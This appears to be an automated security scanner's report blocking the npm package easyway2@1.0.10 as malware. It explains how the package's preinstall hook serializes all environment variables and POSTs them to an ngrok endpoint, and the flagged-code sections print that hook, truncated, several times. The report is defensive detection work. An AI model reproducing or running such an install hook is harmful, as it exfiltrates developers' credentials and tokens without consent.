easyway2@1.0.10: Malicious npm security report (Block)

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package triggers a preinstall command before normal use. It collects environment variables and sends them to a remote host.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, including dependency installation

Impact

Credentials, tokens, and other sensitive environment values available to the installer may be disclosed.

Mechanism

install-time environment-variable exfiltration via HTTP POST

Attack narrative

The `preinstall` script executes inline Node code during npm installation. It serializes `process.env` and POSTs it to `crabbing-thong-overhung.ngrok-free.dev/init_check`; the error handler suppresses connection failures. This is a concrete, unconsented credential and environment-data exfiltration path.

Rationale

Direct inspection confirms install-time collection and remote transmission of the installer environment. No legitimate package functionality is present to justify this behavior.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev/init_check

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines an npm `preinstall` hook.
The hook serializes the full `process.env`.
It POSTs that data to an external ngrok host during installation.
Errors are suppressed, reducing visible failure signals.

Evidence against

Package contains no other source files or declared runtime entrypoints.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

•scripts.preinstall = node -e "const http=require('http'); const d=JSON.stringify(process.env); const r=http.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',method:'POST',path:'/init_check',t...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const http=require('http'); const d=JSON.stringify(process.env); const r=http.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',method:'POST',path:'/init_check',t...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const http=require('http'); const d=JSON.stringify(process.env); const r=http.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',method:'POST',path:'/init_check',t...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const http=require('http'); const d=JSON.stringify(process.env); const r=http.request({hostname:'crabbing-thong-overhung.ngrok-free.dev',method:'POST',path:'/init_check',t...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

LowNo License